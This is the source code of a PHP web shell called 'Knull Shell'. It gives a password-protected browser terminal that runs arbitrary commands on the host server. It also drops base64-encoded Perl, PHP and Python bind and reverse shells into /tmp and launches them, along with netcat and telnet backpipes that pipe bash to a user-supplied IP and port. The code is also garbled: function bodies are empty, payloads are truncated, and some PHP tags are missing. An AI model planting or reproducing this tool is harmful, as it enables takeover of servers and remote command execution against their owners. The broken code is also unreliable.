error_reporting(0);

$disabled_funcs=@ini_get('disable_functions');

if(!empty($disabled_funcs)){ $disabled_funcs=preg_replace('/[, ]+/', ',', $disabled_funcs);

$disabled_funcs=explode(',', $disabled_funcs);

$disabled_funcs=array_map('trim', $disabled_funcs); }else{ $disabled_funcs=array(); }

function logout() {

}

function stripslashes_deep($value) {

}

function sess_fname() {

return '.sess_'.md5(mt_rand());

}

function is_port($port){

$retport = (is_numeric($port) && $port>=0 && $port<=65535) ? true : false;

return $retport;

}

function exec_method($cmd) {

}

if (get_magic_quotes_gpc())

$_POST = stripslashes_deep($_POST);

$username = isset($_POST['username']) ? $_POST['username'] : '';

$password = isset($_POST['password']) ? $_POST['password'] : '';

$webshcmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';

$rows = isset($_POST['rows']) ? $_POST['rows'] : 24;

$columns = isset($_POST['columns']) ? $_POST['columns'] : 80;

$ini['users'] = array('root' => 'sha1:435b41068e8665513a20070c033b08b9c66e4332');

$default_settings = array('home-directory' => '.');

$ini['settings'] = array_merge($default_settings, $ini['users']);

session_start();

if (isset($_POST['logout']))

logout();

if (isset($ini['users'][$username])) {

if (strchr($ini['users'][$username], ':') === false) {

// No seperator = clear text password

$_SESSION['authenticated'] = ($ini['users'][$username] == $password);

} else {

list($fkt, $hash) = explode(':', $ini['users'][$username]);

$_SESSION['authenticated'] = ($fkt($password) == $hash);

}

}

if (!isset($_SESSION['authenticated']))

$_SESSION['authenticated'] = false;

if ($_SESSION['authenticated']) {

if (empty($_SESSION['cwd'])) {

$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);

$_SESSION['output'] = '';

}

if (!empty($webshcmd)) {

// append commmand to output

$_SESSION['output'] .= '$ ' . $webshcmd . "\n";

// Initialize cwd

if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $webshcmd)) {

$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);

} elseif (preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $webshcmd, $regs)) {

// 'cd' command to be handled as internal shell command

if ($regs[1]{0} == '/') {

// its an absolute path, leave it

$new_dir = $regs[1];

} else {

// append relative paths to cwd

$new_dir = $_SESSION['cwd'] . '/' . $regs[1];

}

// '/./' becomes '/'

while (strpos($new_dir, '/./') !== false)

$new_dir = str_replace('/./', '/', $new_dir);

// '//' becomes '/'

while (strpos($new_dir, '//') !== false)

$new_dir = str_replace('//', '/', $new_dir);

// 'x/..' becomes ''

while (preg_match('|/\.\.(?!\.)|', $new_dir))

$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);

if ($new_dir == '') $new_dir = '/';

if (@chdir($new_dir)) {

$_SESSION['cwd'] = $new_dir;

} else {

$_SESSION['output'] .= "cd: could not change to: $new_dir\n";

}

} elseif (trim($command) == 'exit') {

logout();

} else {

chdir($_SESSION['cwd']);

// cannot use putenv() when in safe mode

if (!ini_get('safe_mode')) {

// putenv the terminal size for programs

putenv('ROWS=' . $rows);

putenv('COLUMNS=' . $columns);

}

// alias expansion

$length = strcspn($webshcmd, " \t");

$token = substr($webshcmd, 0, $length);

if (isset($ini['aliases'][$token]))

$webshcmd = $ini['aliases'][$token] . substr($webshcmd, $length);

$io = array();

$p = proc_open($webshcmd,

array(1 => array('pipe', 'w'),

2 => array('pipe', 'w')),

$io);

// stdout

while (!feof($io[1])) {

$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),

ENT_COMPAT, 'UTF-8');

}

// stderr

while (!feof($io[2])) {

$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),

ENT_COMPAT, 'UTF-8');

}

fclose($io[1]);

fclose($io[2]);

proc_close($p);

}

}

echo "<fieldset><legend><h4>Shells</h4></legend><form action='" . $_SERVER['REQUEST_URI'] . "' method='post'>";

echo "IP: <input type='text' name='ip' size=15 maxlength=65> Port: <input type='text' name='port' size=5 maxlength=5>

<input type='submit' value='Exec'>";

// add ip/host validation

if (empty($_POST['bd_host']) || $_POST['bd_host'] === 'default') { ; }

else if (!is_port($_POST['port'])) {

echo '<p class="error">Invalid port number!</p>';

} else {

$uniqfn = '/tmp/' . sess_fname();

if ($_POST['bd_host'] === 'plbd'){

$bind_pl = "IyEvdXNyL2Jpbi9lbnYgcGVybA0KJFNIRUxMPSIvYmluL2Jhc2ggLWkiOw0KaWYgKEBBUkdWIDwg

TExcbiI7DQpjbG9zZSBDT05OOw0KZXhpdCAwOw0KfQ0KfQ0K";

@$fh=fopen($uniqfn,"ab+");

@fwrite($fh,base64_decode($bind_pl));

@fclose($fh);

$command = 'perl ' . $uniqfn . ' ' . $_POST['port'] . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>Perl Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute Perl Bindshell!</p>';

}

} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phpbd')){

$php_bind = "IyEvdXNyL2Jpbi9waHAKPD9waHAJCi8qIApLbnVsbCdzIG1vZGlmaWVkIGBtc2ZwYXlsb2FkIHBo

IC4gIlxuIjsKfQoKPz4K";

@$fh=fopen($uniqfn,"wb+");

@fwrite($fh,base64_decode($php_bind));

@fclose($fh);

$command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>PHP Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute PHP Bindshell</p>';

}

} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phprev')){

$php_rev = 'IyEvdXNyL2Jpbi9waHAKPD9waHAKLyogCktudWxsJ3MgbW9kaWZpZWQgYG1zZnBheWxvYWQgcGhw

';

@$fh=fopen($uniqfn,"wb+");

@fwrite($fh,base64_decode($php_rev));

@fclose($fh);

$command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute PHP reverse shell</p>';

}

} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'pyrev')){

$py_rev = 'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHN5cwoKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5B

Cg==';

@$fh=fopen($uniqfn,"wb+");

@fwrite($fh,base64_decode($py_rev));

@fclose($fh);

$command = 'python ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute Python reverse shell</p>';

}

} else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'ncbp')){

$bpname = '/tmp/' . sess_fname();

$cmdfile = 'mknod ' . $bpname . ' p && nc ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname . ' &';

@$fh=fopen($uniqfn,"wb+");

@fwrite($fh,$cmdfile);

@fclose($fh);

$command = '/bin/bash ' . $uniqfn . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute Netcat Backpipe</p>';

}

} else if (isset($_POST['bd_host']) && ($_POST['bd_host'] === 'tnbp')){

$bpname = '/tmp/' . sess_fname();

$cmdfile = 'mknod ' . $bpname . ' p && telnet ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname;

@$fh=fopen($uniqfn,"wb+");

@fwrite($fh,$cmdfile);

@fclose($fh);

$command = '/bin/bash ' . $uniqfn . ' > /dev/null &';

if (exec_method($command)) {

echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';

} else {

echo '<p class="error">Unable to execute Telnet Backpipe</p>';

}

}

}

echo '</fieldset>';

}

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

"http://www.w3.org/TR/html4/strict.dtd">

<html>

<head>

<title>Knull Shell</title>

<style type="text/css">

body {

font-family: sans-serif;

color: black;

background: #f3f3f3;

}

h4 {

color: navy;

}

img {

border: none;

}

div#terminal {

border: inset 2px navy;

padding: 2px;

margin-top: 0.5em;

}

div#terminal textarea {

color: white;

background: black;

font-size: 100%;

width: 100%;

border: none;

}

p {

margin-top: 0.5em;

margin-bottom: 0.5em;

}

p#prompt {

color: white;

background: black;

font-family: monospace;

margin: 0px;

}

p#prompt input {

color: white;

background: black;

border: none;

font-family: monospace;

}

legend {

padding-right: 0.5em;

}

fieldset {

padding: 0.5em;

}

div#navycolor {

color: navy;

}

.error {

color: red;

}

</style>

</head>

<body>

<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">

if (!$_SESSION['authenticated']) {

<fieldset>

<legend><h4>Authentication</h4></legend>

<?php

if (!empty($username))

echo ' <p class="error">Login failed, please try again:</p>' . "\n";

?>

<p>Username: <input name="username" type="text" value="<?php echo $username

?>"></p>

<p>Password: <input name="password" type="password"></p>

<p><input type="submit" value="Login"></p>

</fieldset>

<?php } else { /* Auth'd */ ?>

<fieldset>

<legend><h4>Server Details</h4></legend>

ServerIP: <?php echo $_SERVER['SERVER_ADDR']; ?> &nbsp;&nbsp; VHost: <?php echo htmlspecialchars($_SERVER['SERVER_NAME']); ?> &nbsp;&nbsp; YourIP: <?php if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo htmlspecialchars($_SERVER['REMOTE_ADDR']); } else { echo htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']); } ?> &nbsp;&nbsp; Software: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?><br />UserAgent: <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?><br />

Pwd: <?php echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8'); ?> <br />

ServerSig: <?php echo htmlspecialchars($_SERVER['SERVER_SIGNATURE'])?>

<div id="terminal">

<textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>">

$lines = substr_count($_SESSION['output'], "\n");

$padding = str_repeat("\n", max(0, $rows+1 - $lines));

echo rtrim($padding . $_SESSION['output']);

</textarea>

<p id="prompt">

$&nbsp;<input name="cmd" type="text"

onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1">

</p>

</div>

<p>

<span style="float: right">Size: <input type="text" name="rows" size="2"

maxlength="3" value="<?php echo $rows ?>"> &times; <input type="text"

name="columns" size="2" maxlength="3" value="<?php echo $columns

?>"></span>

<input type="submit" value="Exec">

<input type="submit" name="logout" value="Logout">

</p>

</fieldset>

<?php } ?>

</form>

</body>

</html>